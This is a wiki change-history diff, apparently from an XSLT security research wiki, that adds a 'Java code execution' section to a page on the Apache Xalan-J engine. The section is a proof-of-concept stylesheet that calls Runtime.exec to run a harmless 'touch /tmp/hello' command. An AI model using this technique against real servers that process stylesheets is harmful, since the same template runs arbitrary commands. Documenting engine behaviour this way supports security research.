Changes for page Engine_XalanJ

Last modified by Nicolas Gregoire on 2012/01/31 17:35

From version Icon 2.1 Icon
edited by Nicolas Gregoire
on 2012/01/04 22:28
Change comment: There is no comment for this version
To version Icon 3.1 Icon
edited by Nicolas Gregoire
on 2012/01/05 00:57
Change comment: There is no comment for this version

Summary

Details

Icon Page properties
Content
... ... @@ -10,7 +10,6 @@
10 10  | xsl:vendor|Apache Software Foundation
11 11  | xsl:version|1.0
12 12  
13 -
14 14  == Special features ==
15 15  
16 16  * File creation
... ... @@ -18,3 +18,23 @@
18 18  * JDBC connectivity
19 19  * Java properties
20 20  * CheckEnv()
20 +
21 +== Java code execution ==
22 +
23 +dcdcdd
24 +
25 +<?xml version="1.0"?>
26 +<xsl:stylesheet xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform"
27 + xmlns:j="http:~/~/xml.apache.org/xalan/java"
28 + exclude-result-prefixes="j"
29 + version="1.0">
30 + <xsl:template match="/">
31 + <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable>
32 + <xsl:variable name="a" select="j:split($c, ' = ')"/>
33 + <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/>
34 + <xsl:variable name="p" select="j:exec($r, $a )"/>
35 + No content at the moment ...
36 + </xsl:template>
37 +</xsl:stylesheet>
38 +
39 +Saxon